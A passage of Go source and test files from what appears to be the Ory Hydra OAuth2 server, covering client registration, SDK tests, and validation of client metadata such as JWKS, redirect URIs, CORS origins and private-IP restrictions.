assert.EqualValues(t, expected.GetHashedSecret(), actual.GetHashedSecret()) } assert.EqualValues(t, expected.GetRedirectURIs(), actual.GetRedirectURIs()) assert.EqualValues(t, expected.GetGrantTypes(), actual.GetGrantTypes()) assert.EqualValues(t, expected.GetResponseTypes(), actual.GetResponseTypes()) assert.EqualValues(t, expected.GetScopes(), actual.GetScopes()) assert.EqualValues(t, expected.IsPublic(), actual.IsPublic()) if actual, ok := actual.(*Client); ok { assert.EqualValues(t, expected.Owner, actual.Owner) assert.EqualValues(t, expected.Name, actual.Name) assert.EqualValues(t, expected.PolicyURI, actual.PolicyURI) assert.EqualValues(t, expected.TermsOfServiceURI, actual.TermsOfServiceURI) assert.EqualValues(t, expected.ClientURI, actual.ClientURI) assert.EqualValues(t, expected.LogoURI, actual.LogoURI) assert.EqualValues(t, expected.Contacts, actual.Contacts) assert.EqualValues(t, expected.SecretExpiresAt, actual.SecretExpiresAt) assert.EqualValues(t, expected.SectorIdentifierURI, actual.SectorIdentifierURI) assert.EqualValues(t, expected.UserinfoSignedResponseAlg, actual.UserinfoSignedResponseAlg) assert.EqualValues(t, expected.CreatedAt.UTC().Unix(), actual.CreatedAt.UTC().Unix()) // these values are not the same because of https://github.com/gobuffalo/pop/issues/591 //assert.EqualValues(t, expected.UpdatedAt.UTC().Unix(), actual.UpdatedAt.UTC().Unix(), "%s\n%s", expected.UpdatedAt.String(), actual.UpdatedAt.String()) assert.EqualValues(t, expected.FrontChannelLogoutURI, actual.FrontChannelLogoutURI) assert.EqualValues(t, expected.FrontChannelLogoutSessionRequired, actual.FrontChannelLogoutSessionRequired) assert.EqualValues(t, expected.PostLogoutRedirectURIs, actual.PostLogoutRedirectURIs) assert.EqualValues(t, expected.BackChannelLogoutURI, actual.BackChannelLogoutURI) assert.EqualValues(t, expected.BackChannelLogoutSessionRequired, actual.BackChannelLogoutSessionRequired) } if actual, ok := actual.(fosite.OpenIDConnectClient); ok { require.NotNil(t, expected.JSONWebKeys) for k, v := range expected.JSONWebKeys.JSONWebKeySet.Keys { if v.CertificateThumbprintSHA1 == nil { v.CertificateThumbprintSHA1 = make([]byte, 0) } if v.CertificateThumbprintSHA256 == nil { v.CertificateThumbprintSHA256 = make([]byte, 0) } expected.JSONWebKeys.JSONWebKeySet.Keys[k] = v } assert.EqualValues(t, expected.JSONWebKeys.JSONWebKeySet, actual.GetJSONWebKeys()) assert.EqualValues(t, expected.JSONWebKeysURI, actual.GetJSONWebKeysURI()) assert.EqualValues(t, expected.TokenEndpointAuthMethod, actual.GetTokenEndpointAuthMethod()) assert.EqualValues(t, expected.RequestURIs, actual.GetRequestURIs()) assert.EqualValues(t, expected.RequestObjectSigningAlgorithm, actual.GetRequestObjectSigningAlgorithm()) } }
Go
hydra/client/registry.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client import ( "github.com/ory/hydra/v2/driver/config" "github.com/ory/fosite" foauth2 "github.com/ory/fosite/handler/oauth2" "github.com/ory/hydra/v2/jwk" "github.com/ory/hydra/v2/x" ) type InternalRegistry interface { x.RegistryWriter Registry } type Registry interface { ClientValidator() *Validator ClientManager() Manager ClientHasher() fosite.Hasher OpenIDJWTStrategy() jwk.JWTSigner OAuth2HMACStrategy() *foauth2.HMACSHAStrategy config.Provider }
Go
hydra/client/sdk_test.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client_test import ( "context" "encoding/json" "io" "net/http/httptest" "strings" "testing" "github.com/ory/x/assertx" "github.com/ory/x/ioutilx" "github.com/ory/x/snapshotx" "github.com/ory/x/uuidx" "github.com/mohae/deepcopy" "github.com/ory/hydra/v2/x" "github.com/ory/x/contextx" "github.com/ory/x/pointerx" "github.com/ory/hydra/v2/driver/config" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/ory/hydra/v2/internal" hydra "github.com/ory/hydra-client-go/v2" "github.com/ory/hydra/v2/client" ) func createTestClient(prefix string) hydra.OAuth2Client { return hydra.OAuth2Client{ ClientName: pointerx.Ptr(prefix + "name"), ClientSecret: pointerx.Ptr(prefix + "secret"), ClientUri: pointerx.Ptr(prefix + "uri"), Contacts: []string{prefix + "peter", prefix + "pan"}, GrantTypes: []string{prefix + "client_credentials", prefix + "authorize_code"}, LogoUri: pointerx.Ptr(prefix + "logo"), Owner: pointerx.Ptr(prefix + "an-owner"), PolicyUri: pointerx.Ptr(prefix + "policy-uri"), Scope: pointerx.Ptr(prefix + "foo bar baz"), TosUri: pointerx.Ptr(prefix + "tos-uri"), ResponseTypes: []string{prefix + "id_token", prefix + "code"}, RedirectUris: []string{"https://" + prefix + "redirect-url", "https://" + prefix + "redirect-uri"}, ClientSecretExpiresAt: pointerx.Ptr[int64](0), TokenEndpointAuthMethod: pointerx.Ptr("client_secret_basic"), UserinfoSignedResponseAlg: pointerx.Ptr("none"), SubjectType: pointerx.Ptr("public"), Metadata: map[string]interface{}{"foo": "bar"}, // because these values are not nullable in the SQL schema, we have to set them not nil AllowedCorsOrigins: []string{}, Audience: []string{}, Jwks: map[string]interface{}{}, SkipConsent: pointerx.Ptr(false), } } var defaultIgnoreFields = []string{"client_id", "registration_access_token", "registration_client_uri", "created_at", "updated_at"} func TestClientSDK(t *testing.T) { ctx := context.Background() conf := internal.NewConfigurationWithDefaults() conf.MustSet(ctx, config.KeySubjectTypesSupported, []string{"public"}) conf.MustSet(ctx, config.KeyDefaultClientScope, []string{"foo", "bar"}) conf.MustSet(ctx, config.KeyPublicAllowDynamicRegistration, true) r := internal.NewRegistryMemory(t, conf, &contextx.Static{C: conf.Source(ctx)}) routerAdmin := x.NewRouterAdmin(conf.AdminURL) routerPublic := x.NewRouterPublic() handler := client.NewHandler(r) handler.SetRoutes(routerAdmin, routerPublic) server := httptest.NewServer(routerAdmin) conf.MustSet(ctx, config.KeyAdminURL, server.URL) c := hydra.NewAPIClient(hydra.NewConfiguration()) c.GetConfig().Servers = hydra.ServerConfigurations{{URL: server.URL}} t.Run("case=client default scopes are set", func(t *testing.T) { result, _, err := c.OAuth2Api.CreateOAuth2Client(ctx).OAuth2Client(hydra.OAuth2Client{}).Execute() require.NoError(t, err) assert.EqualValues(t, conf.DefaultClientScope(ctx), strings.Split(*result.Scope, " ")) _, err = c.OAuth2Api.DeleteOAuth2Client(ctx, *result.ClientId).Execute() require.NoError(t, err) }) t.Run("case=client is created and updated", func(t *testing.T) { createClient := createTestClient("") compareClient := createClient // This is not yet supported: // createClient.SecretExpiresAt = 10 // returned client is correct on Create result, _, err := c.OAuth2Api.CreateOAuth2Client(ctx).OAuth2Client(createClient).Execute() require.NoError(t, err) assert.NotEmpty(t, result.UpdatedAt) assert.NotEmpty(t, result.CreatedAt) assert.NotEmpty(t, result.RegistrationAccessToken) assert.NotEmpty(t, result.RegistrationClientUri) assert.NotEmpty(t, result.ClientId) createClient.ClientId = result.ClientId assertx.EqualAsJSONExcept(t, compareClient, result, defaultIgnoreFields) assert.EqualValues(t, "bar", result.Metadata.(map[string]interface{})["foo"]) // secret is not returned on GetOAuth2Client compareClient.ClientSecret = x.ToPointer("") gresult, _, err := c.OAuth2Api.GetOAuth2Client(context.Background(), *createClient.ClientId).Execute() require.NoError(t, err) assertx.EqualAsJSONExcept(t, compareClient, gresult, append(defaultIgnoreFields, "client_secret")) // get client will return The request could not be authorized gresult, _, err = c.OAuth2Api.GetOAuth2Client(context.Background(), "unknown").Execute() require.Error(t, err) assert.Empty(t, gresult) assert.True(t, strings.Contains(err.Error(), "404"), err.Error()) // listing clients returns the only added one results, _, err := c.OAuth2Api.ListOAuth2Clients(context.Background()).PageSize(100).Execute() require.NoError(t, err) assert.Len(t, results, 1) assertx.EqualAsJSONExcept(t, compareClient, results[0], append(defaultIgnoreFields, "client_secret")) // SecretExpiresAt gets overwritten with 0 on Update compareClient.ClientSecret = createClient.ClientSecret uresult, _, err := c.OAuth2Api.SetOAuth2Client(context.Background(), *createClient.ClientId).OAuth2Client(createClient).Execute() require.NoError(t, err) assertx.EqualAsJSONExcept(t, compareClient, uresult, append(defaultIgnoreFields, "client_secret")) // create another client updateClient := createTestClient("foo") uresult, _, err = c.OAuth2Api.SetOAuth2Client(context.Background(), *createClient.ClientId).OAuth2Client(updateClient).Execute() require.NoError(t, err) assert.NotEqual(t, updateClient.ClientId, uresult.ClientId) updateClient.ClientId = uresult.ClientId assertx.EqualAsJSONExcept(t, updateClient, uresult, append(defaultIgnoreFields, "client_secret")) // again, test if secret is not returned on Get compareClient = updateClient compareClient.ClientSecret = x.ToPointer("") gresult, _, err = c.OAuth2Api.GetOAuth2Client(context.Background(), *updateClient.ClientId).Execute() require.NoError(t, err) assertx.EqualAsJSONExcept(t, compareClient, gresult, append(defaultIgnoreFields, "client_secret")) // client can not be found after being deleted _, err = c.OAuth2Api.DeleteOAuth2Client(context.Background(), *updateClient.ClientId).Execute() require.NoError(t, err) _, _, err = c.OAuth2Api.GetOAuth2Client(context.Background(), *updateClient.ClientId).Execute() require.Error(t, err) }) t.Run("case=public client is transmitted without secret", func(t *testing.T) { result, _, err := c.OAuth2Api.CreateOAuth2Client(context.Background()).OAuth2Client(hydra.OAuth2Client{ TokenEndpointAuthMethod: x.ToPointer("none"), }).Execute() require.NoError(t, err) assert.Equal(t, "", x.FromPointer[string](result.ClientSecret)) result, _, err = c.OAuth2Api.CreateOAuth2Client(context.Background()).OAuth2Client(createTestClient("")).Execute() require.NoError(t, err) assert.Equal(t, "secret", x.FromPointer[string](result.ClientSecret)) }) t.Run("case=id can not be set", func(t *testing.T) { _, res, err := c.OAuth2Api.CreateOAuth2Client(context.Background()).OAuth2Client(hydra.OAuth2Client{ClientId: x.ToPointer(uuidx.NewV4().String())}).Execute() require.Error(t, err) body, err := io.ReadAll(res.Body) require.NoError(t, err) snapshotx.SnapshotT(t, json.RawMessage(body)) }) t.Run("case=patch client legally", func(t *testing.T) { op := "add" path := "/redirect_uris/-" value := "http://foo.bar" client := createTestClient("") created, _, err := c.OAuth2Api.CreateOAuth2Client(context.Background()).OAuth2Client(client).Execute() require.NoError(t, err) client.ClientId = created.ClientId expected := deepcopy.Copy(client).(hydra.OAuth2Client) expected.RedirectUris = append(expected.RedirectUris, value) result, _, err := c.OAuth2Api.PatchOAuth2Client(context.Background(), *client.ClientId).JsonPatch([]hydra.JsonPatch{{Op: op, Path: path, Value: value}}).Execute() require.NoError(t, err) expected.CreatedAt = result.CreatedAt expected.UpdatedAt = result.UpdatedAt expected.ClientSecret = result.ClientSecret expected.ClientSecretExpiresAt = result.ClientSecretExpiresAt assertx.EqualAsJSONExcept(t, expected, result, nil) }) t.Run("case=patch client illegally", func(t *testing.T) { op := "replace" path := "/id" value := "foo" client := createTestClient("") created, res, err := c.OAuth2Api.CreateOAuth2Client(context.Background()).OAuth2Client(client).Execute() require.NoError(t, err, "%s", ioutilx.MustReadAll(res.Body)) client.ClientId = created.ClientId _, _, err = c.OAuth2Api.PatchOAuth2Client(context.Background(), *client.ClientId).JsonPatch([]hydra.JsonPatch{{Op: op, Path: path, Value: value}}).Execute() require.Error(t, err) }) t.Run("case=patch should not alter secret if not requested", func(t *testing.T) { op := "replace" path := "/client_uri" value := "http://foo.bar" client := createTestClient("") created, _, err := c.OAuth2Api.CreateOAuth2Client(context.Background()).OAuth2Client(client).Execute() require.NoError(t, err) client.ClientId = created.ClientId result1, _, err := c.OAuth2Api.PatchOAuth2Client(context.Background(), *client.ClientId).JsonPatch([]hydra.JsonPatch{{Op: op, Path: path, Value: value}}).Execute() require.NoError(t, err) result2, _, err := c.OAuth2Api.PatchOAuth2Client(context.Background(), *client.ClientId).JsonPatch([]hydra.JsonPatch{{Op: op, Path: path, Value: value}}).Execute() require.NoError(t, err) // secret hashes shouldn't change between these PUT calls require.Equal(t, result1.ClientSecret, result2.ClientSecret) }) }
Go
hydra/client/validator.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client import ( "context" "encoding/json" "fmt" "net/url" "strings" "github.com/hashicorp/go-retryablehttp" "github.com/ory/herodot" "github.com/ory/hydra/v2/driver/config" "github.com/ory/hydra/v2/x" "github.com/ory/x/errorsx" "github.com/ory/x/ipx" "github.com/ory/x/stringslice" ) var ( supportedAuthTokenSigningAlgs = []string{ "RS256", "RS384", "RS512", "PS256", "PS384", "PS512", "ES256", "ES384", "ES512", } ) type validatorRegistry interface { x.HTTPClientProvider config.Provider } type Validator struct { r validatorRegistry } func NewValidator(registry validatorRegistry) *Validator { return &Validator{ r: registry, } } func (v *Validator) Validate(ctx context.Context, c *Client) error { if c.TokenEndpointAuthMethod == "" { c.TokenEndpointAuthMethod = "client_secret_basic" } else if c.TokenEndpointAuthMethod == "private_key_jwt" { if len(c.JSONWebKeysURI) == 0 && c.JSONWebKeys == nil { return errorsx.WithStack(ErrInvalidClientMetadata.WithHint("When token_endpoint_auth_method is 'private_key_jwt', either jwks or jwks_uri must be set.")) } if c.TokenEndpointAuthSigningAlgorithm != "" && !isSupportedAuthTokenSigningAlg(c.TokenEndpointAuthSigningAlgorithm) { return errorsx.WithStack(ErrInvalidClientMetadata.WithHint("Only RS256, RS384, RS512, PS256, PS384, PS512, ES256, ES384 and ES512 are supported as algorithms for private key authentication.")) } } if len(c.JSONWebKeysURI) > 0 && c.JSONWebKeys != nil { return errorsx.WithStack(ErrInvalidClientMetadata.WithHint("Fields jwks and jwks_uri can not both be set, you must choose one.")) } if c.JSONWebKeys != nil && c.JSONWebKeys.JSONWebKeySet != nil { for _, k := range c.JSONWebKeys.Keys { if !k.Valid() { return errorsx.WithStack(ErrInvalidClientMetadata.WithHint("Invalid JSON web key in set.")) } } } if v.r.Config().ClientHTTPNoPrivateIPRanges() { values := map[string]string{ "jwks_uri": c.JSONWebKeysURI, "backchannel_logout_uri": c.BackChannelLogoutURI, } for k, v := range c.RequestURIs { values[fmt.Sprintf("request_uris.%d", k)] = v } if err := ipx.AreAllAssociatedIPsAllowed(values); err != nil { return errorsx.WithStack(ErrInvalidClientMetadata.WithHintf("Client IP address is not allowed: %s", err)) } } if len(c.Secret) > 0 && len(c.Secret) < 6 { return errorsx.WithStack(ErrInvalidClientMetadata.WithHint("Field client_secret must contain a secret that is at least 6 characters long.")) } if len(c.Scope) == 0 { c.Scope = strings.Join(v.r.Config().DefaultClientScope(ctx), " ") } for k, origin := range c.AllowedCORSOrigins { u, err := url.Parse(origin) if err != nil { return errorsx.WithStack(ErrInvalidClientMetadata.WithHintf("Origin URL %s from allowed_cors_origins could not be parsed: %s", origin, err)) } if u.Scheme != "https" && u.Scheme != "http" { return errorsx.WithStack(ErrInvalidClientMetadata.WithHintf("Origin URL %s must use https:// or http:// as HTTP scheme.", origin)) } if u.User != nil && len(u.User.String()) > 0 { return errorsx.WithStack(ErrInvalidClientMetadata.WithHintf("Origin URL %s has HTTP user and/or password set which is not allowed.", origin)) } u.Path = strings.TrimRight(u.Path, "/") if len(u.Path)+len(u.RawQuery)+len(u.Fragment) > 0 { return errorsx.WithStack(ErrInvalidClientMetadata.WithHintf("Origin URL %s must have an empty path, query, and fragment but one of the parts is not empty.", origin)) } c.AllowedCORSOrigins[k] = u.String() } // has to be 0 because it is not supposed to be set c.SecretExpiresAt = 0 if len(c.SectorIdentifierURI) > 0 { if err := v.ValidateSectorIdentifierURL(ctx, c.SectorIdentifierURI, c.GetRedirectURIs()); err != nil { return err } } if c.UserinfoSignedResponseAlg == "" { c.UserinfoSignedResponseAlg = "none" } if c.UserinfoSignedResponseAlg != "none" && c.UserinfoSignedResponseAlg != "RS256" { return errorsx.WithStack(ErrInvalidClientMetadata.WithHint("Field userinfo_signed_response_alg can either be 'none' or 'RS256'.")) } var redirs []url.URL for _, r := range c.RedirectURIs { u, err := url.ParseRequestURI(r) if err != nil { return errorsx.WithStack(ErrInvalidRedirectURI.WithHintf("Unable to parse redirect URL: %s", r)) } redirs = append(redirs, *u) if strings.Contains(r, "#") { return errorsx.WithStack(ErrInvalidRedirectURI.WithHint("Redirect URIs must not contain fragments (#).")) } } if c.SubjectType != "" { if !stringslice.Has(v.r.Config().SubjectTypesSupported(ctx, c), c.SubjectType) { return errorsx.WithStack(ErrInvalidClientMetadata.WithHintf("Subject type %s is not supported by server, only %v are allowed.", c.SubjectType, v.r.Config().SubjectTypesSupported(ctx, c))) } } else { if stringslice.Has(v.r.Config().SubjectTypesSupported(ctx, c), "public") { c.SubjectType = "public" } else { c.SubjectType = v.r.Config().SubjectTypesSupported(ctx, c)[0] } } for _, l := range c.PostLogoutRedirectURIs { u, err := url.ParseRequestURI(l) if err != nil { return errorsx.WithStack(ErrInvalidClientMetadata.WithHintf("Unable to parse post_logout_redirect_uri: %s", l)) } var found bool for _, r := range redirs { if r.Hostname() == u.Hostname() && r.Port() == u.Port() && r.Scheme == u.Scheme { found = true } } if !found { return errorsx.WithStack(ErrInvalidClientMetadata. WithHintf(`post_logout_redirect_uri "%s" must match the domain, port, scheme of at least one of the registered redirect URIs but did not'`, l), ) } } if c.AccessTokenStrategy != "" { s, err := config.ToAccessTokenStrategyType(c.AccessTokenStrategy) if err != nil { return errorsx.WithStack(ErrInvalidClientMetadata. WithHintf("invalid access token strategy: %v", err)) } // Canonicalize, just in case. c.AccessTokenStrategy = string(s) } return nil } func (v *Validator) ValidateDynamicRegistration(ctx context.Context, c *Client) error { if c.Metadata != nil { return errorsx.WithStack(ErrInvalidClientMetadata. WithHint(`"metadata" cannot be set for dynamic client registration`), ) } if c.AccessTokenStrategy != "" { return errorsx.WithStack(herodot.ErrBadRequest.WithReasonf("It is not allowed to choose your own access token strategy.")) } if c.SkipConsent { return errorsx.WithStack(ErrInvalidRequest.WithDescription(`"skip_consent" cannot be set for dynamic client registration`)) } return v.Validate(ctx, c) } func (v *Validator) ValidateSectorIdentifierURL(ctx context.Context, location string, redirectURIs []string) error { l, err := url.Parse(location) if err != nil { return errorsx.WithStack(ErrInvalidClientMetadata.WithHintf("Value of sector_identifier_uri could not be parsed because %s.", err)) } if l.Scheme != "https" { return errorsx.WithStack(ErrInvalidClientMetadata.WithDebug("Value sector_identifier_uri must be an HTTPS URL but it is not.")) } req, err := retryablehttp.NewRequestWithContext(ctx, "GET", location, nil) if err != nil { return errorsx.WithStack(ErrInvalidClientMetadata.WithDebugf("Value sector_identifier_uri must be an HTTPS URL but it is not: %s", err.Error())) } response, err := v.r.HTTPClient(ctx).Do(req) if err != nil { return errorsx.WithStack(ErrInvalidClientMetadata.WithDebug(fmt.Sprintf("Unable to connect to URL set by sector_identifier_uri: %s", err))) } defer response.Body.Close() var urls []string if err := json.NewDecoder(response.Body).Decode(&urls); err != nil { return errorsx.WithStack(ErrInvalidClientMetadata.WithDebug(fmt.Sprintf("Unable to decode values from sector_identifier_uri: %s", err))) } if len(urls) == 0 { return errorsx.WithStack(ErrInvalidClientMetadata.WithDebug("Array from sector_identifier_uri contains no items")) } for _, r := range redirectURIs { if !stringslice.Has(urls, r) { return errorsx.WithStack(ErrInvalidClientMetadata.WithDebug(fmt.Sprintf("Redirect URL \"%s\" does not match values from sector_identifier_uri.", r))) } } return nil } func isSupportedAuthTokenSigningAlg(alg string) bool { for _, sAlg := range supportedAuthTokenSigningAlgs { if alg == sAlg { return true } } return false }
Go
hydra/client/validator_test.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client_test import ( "context" "encoding/json" "fmt" "net/http" "net/http/httptest" "strings" "testing" "github.com/hashicorp/go-retryablehttp" "github.com/ory/fosite" "github.com/ory/hydra/v2/driver" "github.com/ory/x/httpx" "github.com/gofrs/uuid" jose "github.com/go-jose/go-jose/v3" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" . "github.com/ory/hydra/v2/client" "github.com/ory/hydra/v2/driver/config" "github.com/ory/hydra/v2/internal" "github.com/ory/hydra/v2/x" "github.com/ory/x/contextx" ) func TestValidate(t *testing.T) { ctx := context.Background() c := internal.NewConfigurationWithDefaults() c.MustSet(ctx, config.KeySubjectTypesSupported, []string{"pairwise", "public"}) c.MustSet(ctx, config.KeyDefaultClientScope, []string{"openid"}) reg := internal.NewRegistryMemory(t, c, &contextx.Static{C: c.Source(ctx)}) v := NewValidator(reg) testCtx := context.TODO() dec := json.NewDecoder(strings.NewReader(validJWKS)) dec.DisallowUnknownFields() var goodJWKS jose.JSONWebKeySet require.NoError(t, dec.Decode(&goodJWKS)) for k, tc := range []struct { in *Client check func(*testing.T, *Client) assertErr func(t assert.TestingT, err error, msg ...interface{}) bool v func(*testing.T) *Validator }{ { in: new(Client), check: func(t *testing.T, c *Client) { assert.Equal(t, uuid.Nil.String(), c.GetID()) assert.EqualValues(t, c.GetID(), c.ID.String()) assert.Empty(t, c.LegacyClientID) }, }, { in: &Client{LegacyClientID: "foo"}, check: func(t *testing.T, c *Client) { assert.EqualValues(t, c.GetID(), c.LegacyClientID) }, }, { in: &Client{LegacyClientID: "foo"}, check: func(t *testing.T, c *Client) { assert.EqualValues(t, c.GetID(), c.LegacyClientID) }, }, { in: &Client{LegacyClientID: "foo", UserinfoSignedResponseAlg: "foo"}, assertErr: assert.Error, }, { in: &Client{LegacyClientID: "foo", TokenEndpointAuthMethod: "private_key_jwt"}, assertErr: assert.Error, }, { in: &Client{LegacyClientID: "foo", JSONWebKeys: &x.JoseJSONWebKeySet{JSONWebKeySet: new(jose.JSONWebKeySet)}, JSONWebKeysURI: "asdf", TokenEndpointAuthMethod: "private_key_jwt"}, assertErr: assert.Error, }, { in: &Client{LegacyClientID: "foo", JSONWebKeys: &x.JoseJSONWebKeySet{JSONWebKeySet: new(jose.JSONWebKeySet)}, TokenEndpointAuthMethod: "private_key_jwt", TokenEndpointAuthSigningAlgorithm: "HS256"}, assertErr: assert.Error, }, { in: &Client{LegacyClientID: "foo", JSONWebKeys: &x.JoseJSONWebKeySet{JSONWebKeySet: new(jose.JSONWebKeySet)}, JSONWebKeysURI: "https://example.org/jwks.json"}, assertErr: func(_ assert.TestingT, err error, msg ...interface{}) bool { e := new(fosite.RFC6749Error) assert.ErrorAs(t, err, &e) assert.Contains(t, e.HintField, "jwks and jwks_uri can not both be set") return true }, }, { in: &Client{LegacyClientID: "foo", JSONWebKeys: &x.JoseJSONWebKeySet{JSONWebKeySet: &goodJWKS}}, check: func(t *testing.T, c *Client) { assert.Len(t, c.JSONWebKeys.Keys, 2) assert.Equal(t, c.JSONWebKeys.Keys[0].KeyID, "1") assert.Equal(t, c.JSONWebKeys.Keys[1].KeyID, "2011-04-29") }, }, { in: &Client{LegacyClientID: "foo", JSONWebKeys: &x.JoseJSONWebKeySet{JSONWebKeySet: &jose.JSONWebKeySet{Keys: []jose.JSONWebKey{{}}}}}, assertErr: func(_ assert.TestingT, err error, msg ...interface{}) bool { e := new(fosite.RFC6749Error) assert.ErrorAs(t, err, &e) assert.Contains(t, e.HintField, "Invalid JSON web key in set") return true }, }, { in: &Client{LegacyClientID: "foo", PostLogoutRedirectURIs: []string{"https://bar/"}, RedirectURIs: []string{"https://foo/"}}, assertErr: assert.Error, }, { in: &Client{LegacyClientID: "foo", PostLogoutRedirectURIs: []string{"http://foo/"}, RedirectURIs: []string{"https://foo/"}}, assertErr: assert.Error, }, { in: &Client{LegacyClientID: "foo", PostLogoutRedirectURIs: []string{"https://foo:1234/"}, RedirectURIs: []string{"https://foo/"}}, assertErr: assert.Error, }, { in: &Client{LegacyClientID: "foo", PostLogoutRedirectURIs: []string{"https://foo/"}, RedirectURIs: []string{"https://foo/"}}, check: func(t *testing.T, c *Client) { assert.Equal(t, []string{"https://foo/"}, []string(c.PostLogoutRedirectURIs)) }, }, { in: &Client{LegacyClientID: "foo"}, check: func(t *testing.T, c *Client) { assert.Equal(t, "public", c.SubjectType) }, }, { v: func(t *testing.T) *Validator { c.MustSet(ctx, config.KeySubjectTypesSupported, []string{"pairwise"}) return NewValidator(reg) }, in: &Client{LegacyClientID: "foo"}, check: func(t *testing.T, c *Client) { assert.Equal(t, "pairwise", c.SubjectType) }, }, { in: &Client{LegacyClientID: "foo", SubjectType: "pairwise"}, check: func(t *testing.T, c *Client) { assert.Equal(t, "pairwise", c.SubjectType) }, }, { in: &Client{LegacyClientID: "foo", SubjectType: "foo"}, assertErr: assert.Error, }, } { tc := tc t.Run(fmt.Sprintf("case=%d", k), func(t *testing.T) { if tc.v == nil { tc.v = func(t *testing.T) *Validator { return v } } err := tc.v(t).Validate(testCtx, tc.in) if tc.assertErr != nil { tc.assertErr(t, err) } else { require.NoError(t, err) tc.check(t, tc.in) } }) } } type fakeHTTP struct { driver.Registry c *http.Client } func (f *fakeHTTP) HTTPClient(ctx context.Context, opts ...httpx.ResilientOptions) *retryablehttp.Client { return httpx.NewResilientClient(httpx.ResilientClientWithClient(f.c)) } func TestValidateSectorIdentifierURL(t *testing.T) { reg := internal.NewMockedRegistry(t, &contextx.Default{}) var payload string var h http.HandlerFunc = func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(payload)) } ts := httptest.NewTLSServer(h) defer ts.Close() v := NewValidator(&fakeHTTP{Registry: reg, c: ts.Client()}) for k, tc := range []struct { p string r []string u string expectErr bool }{ { u: "", expectErr: true, }, { u: "http://foo/bar", expectErr: true, }, { u: ts.URL, expectErr: true, }, { p: `["http://foo"]`, u: ts.URL, expectErr: false, r: []string{"http://foo"}, }, { p: `["http://foo"]`, u: ts.URL, expectErr: true, r: []string{"http://foo", "http://not-foo"}, }, } { t.Run(fmt.Sprintf("case=%d", k), func(t *testing.T) { payload = tc.p err := v.ValidateSectorIdentifierURL(context.Background(), tc.u, tc.r) if tc.expectErr { require.Error(t, err) } else { require.NoError(t, err) } }) } } // from https://datatracker.ietf.org/doc/html/rfc7517#appendix-A.2 const validJWKS = ` {"keys": [ {"kty":"EC", "crv":"P-256", "x":"MKBCTNIcKUSDii11ySs3526iDZ8AiTo7Tu6KPAqv7D4", "y":"4Etl6SRW2YiLUrN5vfvVHuhp7x8PxltmWWlbbM4IFyM", "d":"870MB6gfuTJ4HtUnUvYMyJpr5eUZNP4Bk43bVdj3eAE", "use":"enc", "kid":"1"}, {"kty":"RSA", "n":"0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw", "e":"AQAB", "d":"X4cTteJY_gn4FYPsXB8rdXix5vwsg1FLN5E3EaG6RJoVH-HLLKD9M7dx5oo7GURknchnrRweUkC7hT5fJLM0WbFAKNLWY2vv7B6NqXSzUvxT0_YSfqijwp3RTzlBaCxWp4doFk5N2o8Gy_nHNKroADIkJ46pRUohsXywbReAdYaMwFs9tv8d_cPVY3i07a3t8MN6TNwm0dSawm9v47UiCl3Sk5ZiG7xojPLu4sbg1U2jx4IBTNBznbJSzFHK66jT8bgkuqsk0GjskDJk19Z4qwjwbsnn4j2WBii3RL-Us2lGVkY8fkFzme1z0HbIkfz0Y6mqnOYtqc0X4jfcKoAC8Q", "p":"83i-7IvMGXoMXCskv73TKr8637FiO7Z27zv8oj6pbWUQyLPQBQxtPVnwD20R-60eTDmD2ujnMt5PoqMrm8RfmNhVWDtjjMmCMjOpSXicFHj7XOuVIYQyqVWlWEh6dN36GVZYk93N8Bc9vY41xy8B9RzzOGVQzXvNEvn7O0nVbfs", "q":"3dfOR9cuYq-0S-mkFLzgItgMEfFzB2q3hWehMuG0oCuqnb3vobLyumqjVZQO1dIrdwgTnCdpYzBcOfW5r370AFXjiWft_NGEiovonizhKpo9VVS78TzFgxkIdrecRezsZ-1kYd_s1qDbxtkDEgfAITAG9LUnADun4vIcb6yelxk", "dp":"G4sPXkc6Ya9y8oJW9_ILj4xuppu0lzi_H7VTkS8xj5SdX3coE0oimYwxIi2emTAue0UOa5dpgFGyBJ4c8tQ2VF402XRugKDTP8akYhFo5tAA77Qe_NmtuYZc3C3m3I24G2GvR5sSDxUyAN2zq8Lfn9EUms6rY3Ob8YeiKkTiBj0", "dq":"s9lAH9fggBsoFR8Oac2R_E2gw282rT2kGOAhvIllETE1efrA6huUUvMfBcMpn8lqeW6vzznYY5SSQF7pMdC_agI3nG8Ibp1BUb0JUiraRNqUfLhcQb_d9GF4Dh7e74WbRsobRonujTYN1xCaP6TO61jvWrX-L18txXw494Q_cgk", "qi":"GyM_p6JrXySiz1toFgKbWV-JdI3jQ4ypu9rbMWx3rQJBfmt0FoYzgUIZEVFEcOqwemRN81zoDAaa-Bk0KWNGDjJHZDdDmFhW3AN7lI-puxk_mHZGJ11rxyR8O55XLSe3SPmRfKwZI6yU24ZxvQKFYItdldUKGzO6Ia6zTKhAVRU", "alg":"RS256", "kid":"2011-04-29"} ] } ` func TestValidateIPRanges(t *testing.T) { ctx := context.Background() c := internal.NewConfigurationWithDefaults() reg := internal.NewRegistryMemory(t, c, &contextx.Static{C: c.Source(ctx)}) v := NewValidator(reg) c.MustSet(ctx, config.KeyClientHTTPNoPrivateIPRanges, true) require.NoError(t, v.ValidateDynamicRegistration(ctx, &Client{})) require.ErrorContains(t, v.ValidateDynamicRegistration(ctx, &Client{JSONWebKeysURI: "https://localhost:1234"}), "invalid_client_metadata") require.ErrorContains(t, v.ValidateDynamicRegistration(ctx, &Client{BackChannelLogoutURI: "https://localhost:1234"}), "invalid_client_metadata") require.ErrorContains(t, 